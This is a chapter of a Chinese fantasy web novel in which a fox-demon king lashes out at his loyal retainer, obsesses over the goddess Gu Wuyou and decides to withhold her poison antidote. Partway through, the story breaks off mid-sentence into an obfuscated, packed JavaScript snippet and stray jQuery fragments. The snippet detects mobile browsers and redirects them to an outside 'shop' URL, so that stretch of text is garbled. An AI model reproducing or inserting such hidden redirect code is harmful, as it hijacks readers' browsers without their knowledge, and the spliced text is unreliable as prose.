45. 一心

作品:《反派乐子神迫害六界

    桌面开裂,瓷屑碎渣撒落一地。


    大小残片匐在地面,被昏黄幽暗的烛火勾勒出异样锋利的寒光。


    迈入真我宫,窥见这幅混乱绘卷,靳恒越便知陛下又发怒了。


    听闻,今晚陛下与神女同膳。


    那么,是谁激怒了他,答案不言而喻。


    靳恒越稍作迟疑,深吸口气,提前做好准备,这才下定决心向里走去。


    他还未靠近站定,一个茶杯凌空飞驰,甩出残影,来势汹汹。


    亏得靳恒越反应快,急忙偏头躲过。


    茶杯擦过发梢,触墙后霎时四分五裂,崩落惊雷,迸溅惊心。


    “……陛下。”靳恒越仍旧神色如常,“您还好吗?”


    这句问询着实废话。


    樊枝当然不好。


    但靳恒越心里清楚,适逢此时,他既然敢来真我宫,那不论他沉默抑或开口关切,肯定都摆不脱被迁怒一顿的命运。


    结局已定,那过程干脆随意了。


    樊枝坐妆台前,配饰尽卸,披头散发。


    “我很好。”


    男子手指如玉石精雕细琢,穿插发间,动作优雅缓慢地一缕缕为己梳理,语气状似漫不经心,“顾无忧呢,她去做什么了?”


    如此平静,反与先前的砸桌摔杯者判若两人。


    “神女大人本来在休息……不过,属下夜半发现,路公子悄悄前去拜访了她。”


    靳恒越小心斟酌着措辞,“我在旁听了片刻,二位商议了一些不得了的事情——路公子想偷偷帮神女大人觅得解毒之法,然后在宴会之日,带她离开琦瑰国。”


    窸窸窣窣的摩擦声顿止。


    沉默良久,樊枝放下手,重新捏起一柄精致的木梳:“路子煜的胆子挺大嘛。”


    他只提一句,再无多余的评价,显然对路子煜的存在不太上心。


    谁让樊枝与路子煜曾合谋过?


    他太了解对方。


    路子煜那点儿伎俩、那点儿胆识,也就足够糊弄下魔族那群莽夫。


    靳恒越则不对路子煜发表任何意见:“幸好您命我时刻看顾神女大人,赶在他们二位实施之前,可以及时制止。”


    樊枝一言不发。


    气氛静谧,无形扼制呼吸,一点点稀释涌动的吐息。


    压抑至极限,樊枝终于肯大发慈悲打破凝滞,话题却是风马牛不相及:“靳恒越,你觉得……顾无忧怎么样?”


    嗯?是问神女大人是个怎样的人吗?


    靳恒越考虑片晌,实话实说:“……她的行事作风,以及她的性格,属下着实看不太懂。”


    “但是,直觉告诉属下,神女大人应该不难相处。”


    樊枝轻轻阖眼:“是吗……她有问你,你的脸为何变成如今这般吗?”


    靳恒越微微一愣,即答:“没有。”


    至于顾无忧当真不好奇,还是顾及他的心情,故意不愿揭他伤疤,靳恒越不知道。


    不过,这也恰好说明,顾无忧并非粗心之人。


    她其实懂得拿捏分寸。


    有目共睹的善解人意。


    “原来,她连这个都替你考虑到了。”樊枝低低冷哼,随即毫无征兆一松手,木梳直直跌坠,“难怪……”


    樊枝忽加重嗓音,直白的定论伴随沉闷的撞击,只叫人如坠冰窟:“……你与路子煜,偶尔也不相上下。”


    “陛下?”靳恒越尚且不明白樊枝话里话外的意思,缓缓睁大眼睛。


    却听他慢慢悠悠道:“我命你看顾她,你在心里暗爽吧?”


    “……?!”


    靳恒越大惊,顿感无所适从,恭敬低垂的眼帘极速掀起,“属下不……!”


    这一对望,靳恒越如被扼住咽喉,声音瞬间掐灭,即将脱口而出的话忘得一干二净。


    樊枝骨相优越,面容分明是张扬且极具攻击性的,然而他脸颊上一个显眼的红印,竟为这份灼目的惊艳划刻几道裂痕——


    他不再是正待出鞘的薄锐利刃。


    而是驻守墓穴的纸偶。


    苍白残缺,阴森可怖。


    靳恒越一瞬如鲠在喉。


    “您、您的脸……?!”


    这是谁下的手?


    难不成是……


    樊枝端坐镜前,烛火跳跃的余光在瞳眸底忽闪。


    他隔镜与靳恒越相视,却粲然一笑、避而不答:“你说,我究竟差在何处呢?”


    “……您不差劲。”


    “您只是,太执着。”


    靳恒越垂眼,尽可能使用陈述的口气,“天道目光,并非某人独有,亦并非所有人共有。以自己的不幸,去丈量他人的幸运,本身就可谓严苛不公。”


    受神明垂怜之子,实则万里挑一、少之又少——他们不过刚好被天道筛选,才误打误撞齐聚一堂……


    因而令人误解,天道目光无处不在。


    明明,哪怕是日月,也无法做到公正地普照众生。


    思绪百转千回,最终,靳恒越只敢呢喃道:“除去天道,琦瑰国内外已有太多人在注视您。过去多年,您是时候放下了……”


    自打从路子煜那里得到消息,了解顾无忧的真实身份后,樊枝的反应就很奇怪。


    靳恒越那时便猜测,他对天道的执念,仍未消失。


    可若陛下所执着的,只是天道这个名号——那强留顾无忧停滞琦瑰国……是否对她太过分了?


    毕竟,从外表看来,她仅是个正值青春年华的凡人少女而已。


    ……她的岁月,不该蹉跎于一方天地。


    “呵。”


    樊枝不咸不淡笑了声,他把玩着自己的发尾,指尖反复缠绕,“靳恒越,你知道你这番话落在我耳里像什么吗?”


    靳恒越犹疑着摇头,心感不妙:“属下不知。”


    “像炫耀。”


    樊枝忍无可忍,愤怒起身,目眦欲裂,“因为,你已经是那个幸运儿,已经得到过天道的注目,所以,你才能大度地劝我放下!!”


    靳恒越目瞪口呆、欲言又止。


    尽管他的意思从来不是如此,可是,他又似乎确实无可辩解。


    两难。


    “我……陛下……”


    “哈哈退下吧,靳恒越,我暂时不想看到你……”


    樊枝拂袖,疲惫地扶额叹气,“路子煜我自有应对,到时再告知你。”


    靳恒越:“那外面那些碎片……”


    “明日我会遣人处理……滚。”说罢,樊枝不肯与他交谈,单手撑妆台,烦闷丧气地低垂脑袋。


    靳恒越颔首,无奈告退:“是。”


    ……


    对方走后,气氛更是安静得心惊。


    樊枝重重坐于椅上。


    他手肘曲折,垫在妆台,以此作枕,将头颅靠过去。随即,他散出全部狐尾。


    四下无人之时,端庄不再必须。


    他可散漫、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611094|183531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    肆意妄为。


    “靳恒越、靳恒越……!”


    樊枝一下一下揪着尾尖的浮毛,忌恨地咬牙,“行吧!至少他百无聊赖、无可挑剔的忠心还算有些用处!”


    自打与靳恒越同入四相宫,受上任妖王遴选,争取权位开始……百年间,樊枝一直挑不出他的什么错处。


    靳恒越始终内敛,表里如一。


    这样不懂变通之人,分明不会在关系盘根错节的局势中活得很好。


    偏偏靳恒越活到现在。


    “……是因为天道一开始就眷顾了他?而非我?”


    樊枝失神摸向脸颊,不满地自言自语,“天道喜爱那样木讷无趣、毫不起眼的人么?”


    丧失那副引人注目的容貌,从外表看靳恒越去,普普通通罢了。


    而他,樊枝,是以此肮脏不堪的手段,夺走了本该属于靳恒越的注目,替代他成功站上高峰。


    如今……


    “啊哈哈哈哈哈哈……!”


    刹那闪过一道灵光,樊枝醍醐灌顶,闷头发笑,“如今,天道却只回予我,一点儿不痛不痒的惩罚罢了!”


    她甚至没有责怪自己!


    看吧,她根本不在乎。


    所以,天道喜爱靳恒越?


    纯粹无稽之谈!!!


    灼热温度涌上脖颈,炙烤他两腮飞红。


    樊枝爱怜地抚摸被她扇过的面颊,忽又难耐地放下,身后几条尾巴扭扭捏捏、来回绞合遮掩。


    他佝偻身子,似弯弓绷紧。


    毕竟,谁都明白的道理——深得宠爱的仆从,即使犯错,主人也舍不得狠心到将其扒皮拆骨,最多……


    象征性地鞭笞一下,作秀而已。


    何尝不是她另类的偏袒呢?


    樊枝激动得浑身颤抖。


    如同捧握着一段燃烧的灯烛,他一点点收拢、又释放掌心,让潋滟跳动的火苗舔舐掌纹,撩拨指节。


    他不怕烫。


    不如说他此刻无比享受,与求而不得、隐忍待发的痛苦为伍。


    反正不论无意识地张嘴啃咬,抑或细细咀嚼、拆吃痛苦入腹,都能回味到层次更加丰富的美味。


    他沉溺身心、乐在其中。


    直至灯烛燃得倦怠,熔化的蜡油流淌,一点一滴不小心滚碾衣摆,餍足之后的虚无才从天而降,将他整个包裹。


    “天道……神女……”


    停止与她彼此亲密无间的想象,樊枝的灵魂脱离恍惚,降临现实。


    他发呆良久,莫名感到委屈,舌尖翻来覆去揉捻她的名字。


    “无忧……”


    凭什么……伏惑如此理所当然就能取得她身边的位置?


    他樊枝还需辗转曲折、勾心斗角?


    这不公平。


    尽管他可以大方地睁一只眼闭一只眼,把你来我往的试探当做……仅和顾无忧二人间的情致。


    但到底中间夹了个碍事的第三者。


    啧,令人不爽。


    樊枝翻来覆去瞧自己的手。


    擦拭干净,放于灯下,已经看不出任何惹眼的瑕疵。


    伤口好得差不多了。


    但是,伏惑依旧该死。


    顾无忧嘛……


    也该给点儿教训尝尝。


    谁叫她总是忽视自己、去找别人?


    ——解除降厄蝶毒的方法,还是永远隐秘地保存在他这里吧!


    让她,不再需要伏惑。